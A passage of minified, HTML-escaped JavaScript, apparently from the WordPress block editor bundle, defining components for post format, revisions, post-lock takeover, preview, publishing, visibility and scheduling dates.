e=`post-format-selector-${(0,m.useInstanceId)(jp)}`,{postFormat:t,suggestedFormat:s,supportedFormats:n}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getSuggestedPostFormat:s}=e(vc),n=t(&quot;format&quot;),o=e(u.store).getThemeSupports();return{postFormat:n??&quot;standard&quot;,suggestedFormat:s(),supportedFormats:o.formats}}),[]),o=Pp.filter((e=&gt;n?.includes(e.id)||t===e.id)),r=o.find((e=&gt;e.id===s)),{editPost:i}=(0,d.useDispatch)(vc),a=e=&gt;i({format:e});return(0,c.jsx)(Cp,{children:(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-format&quot;,children:[(0,c.jsx)(Hn.RadioControl,{className:&quot;editor-post-format__options&quot;,label:(0,fs.__)(&quot;Post Format&quot;),selected:t,onChange:e=&gt;a(e),id:e,options:o.map((e=&gt;({label:e.caption,value:e.id}))),hideLabelFromVision:!0}),r&amp;&amp;r.id!==t&amp;&amp;(0,c.jsx)(&quot;p&quot;,{className:&quot;editor-post-format__suggestion&quot;,children:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;a(r.id),children:(0,fs.sprintf)((0,fs.__)(&quot;Apply suggested format: %s&quot;),r.caption)})})]})})}var Ep=function({children:e}){const{lastRevisionId:t,revisionsCount:s}=(0,d.useSelect)((e=&gt;{const{getCurrentPostLastRevisionId:t,getCurrentPostRevisionsCount:s}=e(vc);return{lastRevisionId:t(),revisionsCount:s()}}),[]);return!t||s&lt;2?null:(0,c.jsx)(Id,{supportKeys:&quot;revisions&quot;,children:e})};function Tp(){return(0,d.useSelect)((e=&gt;{const{getCurrentPostLastRevisionId:t,getCurrentPostRevisionsCount:s}=e(vc);return{lastRevisionId:t(),revisionsCount:s()}}),[])}function Ip(){const{lastRevisionId:e,revisionsCount:t}=Tp();return(0,c.jsx)(Ep,{children:(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Revisions&quot;),children:(0,c.jsx)(Hn.Button,{href:(0,w.addQueryArgs)(&quot;revision.php&quot;,{revision:e}),className:&quot;editor-private-post-last-revision__button&quot;,text:t,variant:&quot;tertiary&quot;,size:&quot;compact&quot;})})})}var Bp=function(){const{lastRevisionId:e,revisionsCount:t}=Tp();return(0,c.jsx)(Ep,{children:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,href:(0,w.addQueryArgs)(&quot;revision.php&quot;,{revision:e}),className:&quot;editor-post-last-revision__title&quot;,icon:Yo,iconPosition:&quot;right&quot;,text:(0,fs.sprintf)((0,fs.__)(&quot;Revisions (%s)&quot;),t)})})};var Np=function(){return(0,c.jsx)(Ep,{children:(0,c.jsx)(Hn.PanelBody,{className:&quot;editor-post-last-revision__panel&quot;,children:(0,c.jsx)(Bp,{})})})};var Rp=function e(){const t=&quot;core/editor/post-locked-modal-&quot;+(0,m.useInstanceId)(e),{autosave:s,updatePostLock:n}=(0,d.useDispatch)(vc),{isLocked:o,isTakeover:r,user:i,postId:a,postLockUtils:l,activePostLock:g,postType:_,previewLink:f}=(0,d.useSelect)((e=&gt;{const{isPostLocked:t,isPostLockTakeover:s,getPostLockUser:n,getCurrentPostId:o,getActivePostLock:r,getEditedPostAttribute:i,getEditedPostPreviewLink:a,getEditorSettings:l}=e(vc),{getPostType:c}=e(u.store);return{isLocked:t(),isTakeover:s(),user:n(),postId:o(),postLockUtils:l().postLockUtils,activePostLock:r(),postType:c(i(&quot;type&quot;)),previewLink:a()}}),[]);if((0,p.useEffect)((()=&gt;{function e(){if(o||!g)return;const e=new window.FormData;if(e.append(&quot;action&quot;,&quot;wp-remove-post-lock&quot;),e.append(&quot;_wpnonce&quot;,l.unlockNonce),e.append(&quot;post_ID&quot;,a),e.append(&quot;active_post_lock&quot;,g),window.navigator.sendBeacon)window.navigator.sendBeacon(l.ajaxUrl,e);else{const t=new window.XMLHttpRequest;t.open(&quot;POST&quot;,l.ajaxUrl,!1),t.send(e)}}return(0,h.addAction)(&quot;heartbeat.send&quot;,t,(function(e){o||(e[&quot;wp-refresh-post-lock&quot;]={lock:g,post_id:a})})),(0,h.addAction)(&quot;heartbeat.tick&quot;,t,(function(e){if(!e[&quot;wp-refresh-post-lock&quot;])return;const t=e[&quot;wp-refresh-post-lock&quot;];t.lock_error?(s(),n({isLocked:!0,isTakeover:!0,user:{name:t.lock_error.name,avatar:t.lock_error.avatar_src_2x}})):t.new_lock&amp;&amp;n({isLocked:!1,activePostLock:t.new_lock})})),window.addEventListener(&quot;beforeunload&quot;,e),()=&gt;{(0,h.removeAction)(&quot;heartbeat.send&quot;,t),(0,h.removeAction)(&quot;heartbeat.tick&quot;,t),window.removeEventListener(&quot;beforeunload&quot;,e)}}),[]),!o)return null;const b=i.name,y=i.avatar,x=(0,w.addQueryArgs)(&quot;post.php&quot;,{&quot;get-post-lock&quot;:&quot;1&quot;,lockKey:!0,post:a,action:&quot;edit&quot;,_wpnonce:l.nonce}),v=(0,w.addQueryArgs)(&quot;edit.php&quot;,{post_type:_?.slug}),S=(0,fs.__)(&quot;Exit editor&quot;);return(0,c.jsx)(Hn.Modal,{title:r?(0,fs.__)(&quot;Someone else has taken over this post&quot;):(0,fs.__)(&quot;This post is already being edited&quot;),focusOnMount:!0,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,isDismissible:!1,className:&quot;editor-post-locked-modal&quot;,size:&quot;medium&quot;,children:(0,c.jsxs)(Hn.__experimentalHStack,{alignment:&quot;top&quot;,spacing:6,children:[!!y&amp;&amp;(0,c.jsx)(&quot;img&quot;,{src:y,alt:(0,fs.__)(&quot;Avatar&quot;),className:&quot;editor-post-locked-modal__avatar&quot;,width:64,height:64}),(0,c.jsxs)(&quot;div&quot;,{children:[!!r&amp;&amp;(0,c.jsx)(&quot;p&quot;,{children:(0,p.createInterpolateElement)(b?(0,fs.sprintf)((0,fs.__)(&quot;&lt;strong&gt;%s&lt;/strong&gt; now has editing control of this post (&lt;PreviewLink /&gt;). Don’t worry, your changes up to this moment have been saved.&quot;),b):(0,fs.__)(&quot;Another user now has editing control of this post (&lt;PreviewLink /&gt;). Don’t worry, your changes up to this moment have been saved.&quot;),{strong:(0,c.jsx)(&quot;strong&quot;,{}),PreviewLink:(0,c.jsx)(Hn.ExternalLink,{href:f,children:(0,fs.__)(&quot;preview&quot;)})})}),!r&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;p&quot;,{children:(0,p.createInterpolateElement)(b?(0,fs.sprintf)((0,fs.__)(&quot;&lt;strong&gt;%s&lt;/strong&gt; is currently working on this post (&lt;PreviewLink /&gt;), which means you cannot make changes, unless you take over.&quot;),b):(0,fs.__)(&quot;Another user is currently working on this post (&lt;PreviewLink /&gt;), which means you cannot make changes, unless you take over.&quot;),{strong:(0,c.jsx)(&quot;strong&quot;,{}),PreviewLink:(0,c.jsx)(Hn.ExternalLink,{href:f,children:(0,fs.__)(&quot;preview&quot;)})})}),(0,c.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;If you take over, the other user will lose editing control to the post, but their changes will be saved.&quot;)})]}),(0,c.jsxs)(Hn.__experimentalHStack,{className:&quot;editor-post-locked-modal__buttons&quot;,justify:&quot;flex-end&quot;,children:[!r&amp;&amp;(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,href:x,children:(0,fs.__)(&quot;Take over&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,href:v,children:S})]})]})]})})};var Dp=function({children:e}){const{hasPublishAction:t,isPublished:s}=(0,d.useSelect)((e=&gt;{const{isCurrentPostPublished:t,getCurrentPost:s}=e(vc);return{hasPublishAction:s()._links?.[&quot;wp:action-publish&quot;]??!1,isPublished:t()}}),[]);return s||!t?null:e};var Ap=function(){const e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostAttribute(&quot;status&quot;)),[]),{editPost:t}=(0,d.useDispatch)(vc);return(0,c.jsx)(Dp,{children:(0,c.jsx)(Hn.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Pending review&quot;),checked:&quot;pending&quot;===e,onChange:()=&gt;{t({status:&quot;pending&quot;===e?&quot;draft&quot;:&quot;pending&quot;})}})})};function Mp({className:e,textContent:t,forceIsAutosaveable:s,role:n,onPreview:o}){const{postId:r,currentPostLink:i,previewLink:a,isSaveable:l,isViewable:m}=(0,d.useSelect)((e=&gt;{const t=e(vc),s=e(u.store).getPostType(t.getCurrentPostType(&quot;type&quot;)),n=s?.viewable??!1;return n?{postId:t.getCurrentPostId(),currentPostLink:t.getCurrentPostAttribute(&quot;link&quot;),previewLink:t.getEditedPostPreviewLink(),isSaveable:t.isEditedPostSaveable(),isViewable:n}:{isViewable:n}}),[]),{__unstableSaveForPreview:g}=(0,d.useDispatch)(vc);if(!m)return null;const _=`wp-preview-${r}`,f=a||i;return(0,c.jsx)(Hn.Button,{variant:e?void 0:&quot;tertiary&quot;,className:e||&quot;editor-post-preview&quot;,href:f,target:_,accessibleWhenDisabled:!0,disabled:!l,onClick:async e=&gt;{e.preventDefault();const t=window.open(&quot;&quot;,_);t.focus(),function(e){let t=(0,p.renderToString)((0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-preview-button__interstitial-message&quot;,children:[(0,c.jsxs)(Hn.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 96 96&quot;,children:[(0,c.jsx)(Hn.Path,{className:&quot;outer&quot;,d:&quot;M48 12c19.9 0 36 16.1 36 36S67.9 84 48 84 12 67.9 12 48s16.1-36 36-36&quot;,fill:&quot;none&quot;}),(0,c.jsx)(Hn.Path,{className:&quot;inner&quot;,d:&quot;M69.5 46.4c0-3.9-1.4-6.7-2.6-8.8-1.6-2.6-3.1-4.9-3.1-7.5 0-2.9 2.2-5.7 5.4-5.7h.4C63.9 19.2 56.4 16 48 16c-11.2 0-21 5.7-26.7 14.4h2.1c3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3L40 67.5l7-20.9L42 33c-1.7-.1-3.3-.3-3.3-.3-1.7-.1-1.5-2.7.2-2.6 0 0 5.3.4 8.4.4 3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3l11.5 34.3 3.3-10.4c1.6-4.5 2.4-7.8 2.4-10.5zM16.1 48c0 12.6 7.3 23.5 18 28.7L18.8 35c-1.7 4-2.7 8.4-2.7 13zm32.5 2.8L39 78.6c2.9.8 5.9 1.3 9 1.3 3.7 0 7.3-.6 10.6-1.8-.1-.1-.2-.3-.2-.4l-9.8-26.9zM76.2 36c0 3.2-.6 6.9-2.4 11.4L64 75.6c9.5-5.5 15.9-15.8 15.9-27.6 0-5.5-1.4-10.8-3.9-15.3.1 1 .2 2.1.2 3.3z&quot;,fill:&quot;none&quot;})]}),(0,c.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Generating preview…&quot;)})]}));t+=&#039;\n\t\t&lt;style&gt;\n\t\t\tbody {\n\t\t\t\tmargin: 0;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-direction: column;\n\t\t\t\talign-items: center;\n\t\t\t\tjustify-content: center;\n\t\t\t\theight: 100vh;\n\t\t\t\twidth: 100vw;\n\t\t\t}\n\t\t\t@-webkit-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-moz-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-o-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg {\n\t\t\t\twidth: 192px;\n\t\t\t\theight: 192px;\n\t\t\t\tstroke: #555d66;\n\t\t\t\tstroke-width: 0.75;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg .outer,\n\t\t\t.editor-post-preview-button__interstitial-message svg .inner {\n\t\t\t\tstroke-dasharray: 280;\n\t\t\t\tstroke-dashoffset: 280;\n\t\t\t\t-webkit-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-moz-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-o-animation: paint 1.5s ease infinite alternate;\n\t\t\t\tanimation: paint 1.5s ease infinite alternate;\n\t\t\t}\n\t\t\tp {\n\t\t\t\ttext-align: center;\n\t\t\t\tfont-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, Oxygen-Sans, Ubuntu, Cantarell, &quot;Helvetica Neue&quot;, sans-serif;\n\t\t\t}\n\t\t&lt;/style&gt;\n\t&#039;,t=(0,h.applyFilters)(&quot;editor.PostPreview.interstitialMarkup&quot;,t),e.write(t),e.title=(0,fs.__)(&quot;Generating preview…&quot;),e.close()}(t.document);const n=await g({forceIsAutosaveable:s});t.location=n,o?.()},role:n,size:&quot;compact&quot;,children:t||(0,c.jsxs)(c.Fragment,{children:[(0,fs._x)(&quot;Preview&quot;,&quot;imperative verb&quot;),(0,c.jsx)(Hn.VisuallyHidden,{as:&quot;span&quot;,children:(0,fs.__)(&quot;(opens in a new tab)&quot;)})]})})}function Lp(){const e=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),{isPublished:t,isBeingScheduled:s,isSaving:n,isPublishing:o,hasPublishAction:r,isAutosaving:i,hasNonPostEntityChanges:a,postStatusHasChanged:l,postStatus:c}=(0,d.useSelect)((e=&gt;{const{isCurrentPostPublished:t,isEditedPostBeingScheduled:s,isSavingPost:n,isPublishingPost:o,getCurrentPost:r,getCurrentPostType:i,isAutosavingPost:a,getPostEdits:l,getEditedPostAttribute:c}=e(vc);return{isPublished:t(),isBeingScheduled:s(),isSaving:n(),isPublishing:o(),hasPublishAction:r()._links?.[&quot;wp:action-publish&quot;]??!1,postType:i(),isAutosaving:a(),hasNonPostEntityChanges:e(vc).hasNonPostEntityChanges(),postStatusHasChanged:!!l()?.status,postStatus:c(&quot;status&quot;)}}),[]);return o?(0,fs.__)(&quot;Publishing…&quot;):(t||s)&amp;&amp;n&amp;&amp;!i?(0,fs.__)(&quot;Saving…&quot;):r?a||t||l&amp;&amp;![&quot;future&quot;,&quot;publish&quot;].includes(c)||!l&amp;&amp;&quot;future&quot;===c?(0,fs.__)(&quot;Save&quot;):s?(0,fs.__)(&quot;Schedule&quot;):(0,fs.__)(&quot;Publish&quot;):e?(0,fs.__)(&quot;Publish&quot;):(0,fs.__)(&quot;Submit for Review&quot;)}const Op=()=&gt;{};class Fp extends p.Component{constructor(e){super(e),this.createOnClick=this.createOnClick.bind(this),this.closeEntitiesSavedStates=this.closeEntitiesSavedStates.bind(this),this.state={entitiesSavedStatesCallback:!1}}createOnClick(e){return(...t)=&gt;{const{hasNonPostEntityChanges:s,setEntitiesSavedStatesCallback:n}=this.props;return s&amp;&amp;n?(this.setState({entitiesSavedStatesCallback:()=&gt;e(...t)}),n((()=&gt;this.closeEntitiesSavedStates)),Op):e(...t)}}closeEntitiesSavedStates(e){const{postType:t,postId:s}=this.props,{entitiesSavedStatesCallback:n}=this.state;this.setState({entitiesSavedStatesCallback:!1},(()=&gt;{e&amp;&amp;e.some((e=&gt;&quot;postType&quot;===e.kind&amp;&amp;e.name===t&amp;&amp;e.key===s))&amp;&amp;n()}))}render(){const{forceIsDirty:e,hasPublishAction:t,isBeingScheduled:s,isOpen:n,isPostSavingLocked:o,isPublishable:r,isPublished:i,isSaveable:a,isSaving:l,isAutoSaving:d,isToggle:u,savePostStatus:p,onSubmit:m=Op,onToggle:h,visibility:g,hasNonPostEntityChanges:_,isSavingNonPostEntityChanges:f,postStatus:b,postStatusHasChanged:y}=this.props,x=(l||!a||o||!r&amp;&amp;!e)&amp;&amp;(!_||f),v=(i||l||!a||!r&amp;&amp;!e)&amp;&amp;(!_||f);let w=&quot;publish&quot;;y?w=b:t?&quot;private&quot;===g?w=&quot;private&quot;:s&amp;&amp;(w=&quot;future&quot;):w=&quot;pending&quot;;const S={&quot;aria-disabled&quot;:x,className:&quot;editor-post-publish-button&quot;,isBusy:!d&amp;&amp;l,variant:&quot;primary&quot;,onClick:this.createOnClick((()=&gt;{x||(m(),p(w))})),&quot;aria-haspopup&quot;:_?&quot;dialog&quot;:void 0},k={&quot;aria-disabled&quot;:v,&quot;aria-expanded&quot;:n,className:&quot;editor-post-publish-panel__toggle&quot;,isBusy:l&amp;&amp;i,variant:&quot;primary&quot;,size:&quot;compact&quot;,onClick:this.createOnClick((()=&gt;{v||h()})),&quot;aria-haspopup&quot;:_?&quot;dialog&quot;:void 0},C=u?k:S;return(0,c.jsx)(c.Fragment,{children:(0,c.jsx)(Hn.Button,{...C,className:`${C.className} editor-post-publish-button__button`,size:&quot;compact&quot;,children:(0,c.jsx)(Lp,{})})})}}var Vp=(0,m.compose)([(0,d.withSelect)((e=&gt;{const{isSavingPost:t,isAutosavingPost:s,isEditedPostBeingScheduled:n,getEditedPostVisibility:o,isCurrentPostPublished:r,isEditedPostSaveable:i,isEditedPostPublishable:a,isPostSavingLocked:l,getCurrentPost:c,getCurrentPostType:d,getCurrentPostId:u,hasNonPostEntityChanges:p,isSavingNonPostEntityChanges:m,getEditedPostAttribute:h,getPostEdits:g}=e(vc);return{isSaving:t(),isAutoSaving:s(),isBeingScheduled:n(),visibility:o(),isSaveable:i(),isPostSavingLocked:l(),isPublishable:a(),isPublished:r(),hasPublishAction:c()._links?.[&quot;wp:action-publish&quot;]??!1,postType:d(),postId:u(),postStatus:h(&quot;status&quot;),postStatusHasChanged:g()?.status,hasNonPostEntityChanges:p(),isSavingNonPostEntityChanges:m()}})),(0,d.withDispatch)((e=&gt;{const{editPost:t,savePost:s}=e(vc);return{savePostStatus:e=&gt;{t({status:e},{undoIgnore:!0}),s()}}}))])(Fp),Up=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;-2 -2 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z&quot;})});const Hp=[{label:(0,fs.__)(&quot;Public&quot;),value:&quot;public&quot;,description:(0,fs.__)(&quot;Visible to everyone.&quot;)},{label:(0,fs.__)(&quot;Private&quot;),value:&quot;private&quot;,description:(0,fs.__)(&quot;Only visible to site admins and editors.&quot;)},{label:(0,fs.__)(&quot;Password protected&quot;),value:&quot;password&quot;,description:(0,fs.__)(&quot;Only visible to those who know the password.&quot;)}];function zp({onClose:e}){const t=(0,m.useInstanceId)(zp),{status:s,visibility:n,password:o}=(0,d.useSelect)((e=&gt;({status:e(vc).getEditedPostAttribute(&quot;status&quot;),visibility:e(vc).getEditedPostVisibility(),password:e(vc).getEditedPostAttribute(&quot;password&quot;)}))),{editPost:r}=(0,d.useDispatch)(vc),[i,a]=(0,p.useState)(!!o);return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-visibility&quot;,children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Visibility&quot;),help:(0,fs.__)(&quot;Control how this post is viewed.&quot;),onClose:e}),(0,c.jsxs)(Hn.__experimentalVStack,{spacing:4,children:[(0,c.jsx)(Hn.RadioControl,{label:(0,fs.__)(&quot;Visibility&quot;),hideLabelFromVision:!0,options:Hp,selected:i?&quot;password&quot;:n,onChange:function(e){r({public:{status:&quot;private&quot;===n?&quot;draft&quot;:s,password:&quot;&quot;},private:{status:&quot;private&quot;,password:&quot;&quot;},password:{status:&quot;private&quot;===n?&quot;draft&quot;:s,password:o||&quot;&quot;}}[e]),a(&quot;password&quot;===e)}}),i&amp;&amp;(0,c.jsx)(Hn.TextControl,{label:(0,fs.__)(&quot;Password&quot;),onChange:e=&gt;{r({password:e})},value:o,placeholder:(0,fs.__)(&quot;Use a secure password&quot;),type:&quot;text&quot;,id:`editor-post-visibility__password-input-${t}`,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,maxLength:255})]})]})}function Gp(){return $p()}function $p(){const e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostVisibility()),[]);return Hp.find((t=&gt;t.value===e))?.label}function Wp(e){const t=Object.prototype.toString.call(e);return e instanceof Date||&quot;object&quot;==typeof e&amp;&amp;&quot;[object Date]&quot;===t?new e.constructor(+e):&quot;number&quot;==typeof e||&quot;[object Number]&quot;===t||&quot;string&quot;==typeof e||&quot;[object String]&quot;===t?new Date(e):new Date(NaN)}function Zp(e){const t=Wp(e);return t.setDate(1),t.setHours(0,0,0,0),t}function Yp(e){const t=Wp(e),s=t.getMonth();return t.setFullYear(t.getFullYear(),s+1,0),t.setHours(23,59,59,999),t}Math.pow(10,8);const qp=6e4,Kp=36e5;function Qp(e,t){const s=t?.additionalDigits??2,n=function(e){const t={},s=e.split(Xp.dateTimeDelimiter);let n;if(s.length&gt;2)return t;/:/.test(s[0])?n=s[0]:(t.date=s[0],n=s[1],Xp.timeZoneDelimiter.test(t.date)&amp;&amp;(t.date=e.split(Xp.timeZoneDelimiter)[0],n=e.substr(t.date.length,e.length)));if(n){const e=Xp.timezone.exec(n);e?(t.time=n.replace(e[1],&quot;&quot;),t.timezone=e[1]):t.time=n}return t}(e);let o;if(n.date){const e=function(e,t){const s=new RegExp(&quot;^(?:(\\d{4}|[+-]\\d{&quot;+(4+t)+&quot;})|(\\d{2}|[+-]\\d{&quot;+(2+t)+&quot;})$)&quot;),n=e.match(s);if(!n)return{year:NaN,restDateString:&quot;&quot;};const o=n[1]?parseInt(n[1]):null,r=n[2]?parseInt(n[2]):null;return{year:null===r?o:100*r,restDateString:e.slice((n[1]||n[2]).length)}}(n.date,s);o=function(e,t){if(null===t)return new Date(NaN);const s=e.match(Jp);if(!s)return new Date(NaN);const n=!!s[4],o=sm(s[1]),r=sm(s[2])-1,i=sm(s[3]),a=sm(s[4]),l=sm(s[5])-1;if(n)return function(e,t,s){return t&gt;=1&amp;&amp;t&lt;=53&amp;&amp;s&gt;=0&amp;&amp;s&lt;=6}(0,a,l)?function(e,t,s){const n=new Date(0);n.setUTCFullYear(e,0,4);const o=n.getUTCDay()||7,r=7*(t-1)+s+1-o;return n.setUTCDate(n.getUTCDate()+r),n}(t,a,l):new Date(NaN);{const e=new Date(0);return function(e,t,s){return t&gt;=0&amp;&amp;t&lt;=11&amp;&amp;s&gt;=1&amp;&amp;s&lt;=(om[t]||(rm(e)?29:28))}(t,r,i)&amp;&amp;function(e,t){return t&gt;=1&amp;&amp;t&lt;=(rm(e)?366:365)}(t,o)?(e.setUTCFullYear(t,r,Math.max(o,i)),e):new Date(NaN)}}(e.restDateString,e.year)}if(!o||isNaN(o.getTime()))return new Date(NaN);const r=o.getTime();let i,a=0;if(n.time&amp;&amp;(a=function(e){const t=e.match(em);if(!t)return NaN;const s=nm(t[1]),n=nm(t[2]),o=nm(t[3]);if(!function(e,t,s){if(24===e)return 0===t&amp;&amp;0===s;return s&gt;=0&amp;&amp;s&lt;60&amp;&amp;t&gt;=0&amp;&amp;t&lt;60&amp;&amp;e&gt;=0&amp;&amp;e&lt;25}(s,n,o))return NaN;return s*Kp+n*qp+1e3*o}(n.time),isNaN(a)))return new Date(NaN);if(!n.timezone){const e=new Date(r+a),t=new Date(0);return t.setFullYear(e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate()),t.setHours(e.getUTCHours(),e.getUTCMinutes(),e.getUTCSeconds(),e.getUTCMilliseconds()),t}return i=function(e){if(&quot;Z&quot;===e)return 0;const t=e.match(tm);if(!t)return 0;const s=&quot;+&quot;===t[1]?-1:1,n=parseInt(t[2]),o=t[3]&amp;&amp;parseInt(t[3])||0;if(!function(e,t){return t&gt;=0&amp;&amp;t&lt;=59}(0,o))return NaN;return s*(n*Kp+o*qp)}(n.timezone),isNaN(i)?new Date(NaN):new Date(r+a+i)}const Xp={dateTimeDelimiter:/[T ]/,timeZoneDelimiter:/[Z ]/i,timezone:/([Z+-].*)$/},Jp=/^-?(?:(\d{3})|(\d{2})(?:-?(\d{2}))?|W(\d{2})(?:-?(\d{1}))?|)$/,em=/^(\d{2}(?:[.,]\d*)?)(?::?(\d{2}(?:[.,]\d*)?))?(?::?(\d{2}(?:[.,]\d*)?))?$/,tm=/^([+-])(\d{2})(?::?(\d{2}))?$/;function sm(e){return e?parseInt(e):1}function nm(e){return e&amp;&amp;parseFloat(e.replace(&quot;,&quot;,&quot;.&quot;))||0}const om=[31,null,31,30,31,30,31,31,30,31,30,31];function rm(e){return e%400==0||e%4==0&amp;&amp;e%100!=0}const{PrivatePublishDateTimePicker:im}=$(g.privateApis);function am(e){return(0,c.jsx)(lm,{...e,showPopoverHeaderActions:!0,isCompact:!1})}function lm({onClose:e,showPopoverHeaderActions:t,isCompact:s}){const{postDate:n,postType:o}=(0,d.useSelect)((e=&gt;({postDate:e(vc).getEditedPostAttribute(&quot;date&quot;),postType:e(vc).getCurrentPostType()})),[]),{editPost:r}=(0,d.useDispatch)(vc),[i,a]=(0,p.useState)(Zp(new Date(n))),l=(0,d.useSelect)((e=&gt;e(u.store).getEntityRecords(&quot;postType&quot;,o,{status:&quot;publish,future&quot;,after:Zp(i).toISOString(),before:Yp(i).toISOString(),exclude:[e(vc).getCurrentPostId()],per_page:100,_fields:&quot;id,date&quot;})),[i,o]),m=(0,p.useMemo)((()=&gt;(l||[]).map((({date:e})=&gt;({date:new Date(e)})))),[l]),h=(0,v.getSettings)(),g=/a(?!\\)/i.test(h.formats.time.toLowerCase().replace(/\\\\/g,&quot;&quot;).split(&quot;&quot;).reverse().join(&quot;&quot;));return(0,c.jsx)(im,{currentDate:n,onChange:e=&gt;r({date:e}),is12Hour:g,dateOrder:(0,fs._x)(&quot;dmy&quot;,&quot;date order&quot;),events:m,onMonthPreviewed:e=&gt;a(Qp(e)),onClose:e,isCompact:s,showPopoverHeaderActions:t})}function cm(e){return dm(e)}function dm({full:e=!1}={}){const{date:t,isFloating:s}=(0,d.useSelect)((e=&gt;({date:e(vc).getEditedPostAttribute(&quot;date&quot;),isFloating:e(vc).isEditedPostDateFloating()})),[]);return e?um(t):function(e,{isFloating:t=!1,now:s=new Date}={}){if(!e||t)return(0,fs.__)(&quot;Immediately&quot;);if(!function(e){const{timezone:t}=(0,v.getSettings)(),s=Number(t.offset),n=e.getTimezoneOffset()/60*-1;return s===n}(s))return um(e);const n=(0,v.getDate)(e);if(pm(n,s))return(0,fs.sprintf)((0,fs.__)(&quot;Today at %s&quot;),(0,v.dateI18n)((0,fs._x)(&quot;g:i a&quot;,&quot;post schedule time format&quot;),n));const o=new Date(s);if(o.setDate(o.getDate()+1),pm(n,o))return(0,fs.sprintf)((0,fs.__)(&quot;Tomorrow at %s&quot;),(0,v.dateI18n)((0,fs._x)(&quot;g:i a&quot;,&quot;post schedule time format&quot;),n));if(n.getFullYear()===s.getFullYear())return(0,v.dateI18n)((0,fs._x)(&quot;F j g:i a&quot;,&quot;post schedule date format without year&quot;),n);return(0,v.dateI18n)((0,fs._x)(&quot;F j, Y g:i a&quot;,&quot;post schedule full date format&quot;),n)}(t,{isFloating:s})}function um(e){const t=(0,v.getDate)(e),s=function(){const{timezone:e}=(0,v.getSettings)();if(e.abbr&amp;&amp;isNaN(Number(e.abbr)))return e.abbr;return`UTC${e.offset&lt;0?&quot;&quot;:&quot;+&quot;}${e.offsetFormatted}`}(),n=(0,v.dateI18n)((0,fs._x)(&quot;F j, Y g:i a&quot;,&quot;post schedule full date format&quot;),t);return(0,fs.isRTL)()?`${s} ${n}`:`${n} ${s}`}function pm(e,t){return e.getDate()===t.getDate()&amp;&amp;e.getMonth()===t.getMonth()&amp;&amp;e.getFullYear()===t.getFullYear()}const mm=3,hm={per_page:10,orderby:&quot;count&quot;,order:&quot;desc&quot;,hide_empty:!0,_fields:&quot;id,name,count&quot;,context:&quot;view&quot;};function gm({onSelect:e,taxonomy:t}){const{_terms:s,showTerms:n}=(0,d.useSelect)((e=&gt;{const s=e(u.store).getEntityRecords(&quot;taxonomy&quot;,t.slug,hm);return{_terms:s,showTerms:s?.length&gt;=mm}}),[t.slug]);if(!n)return null;const 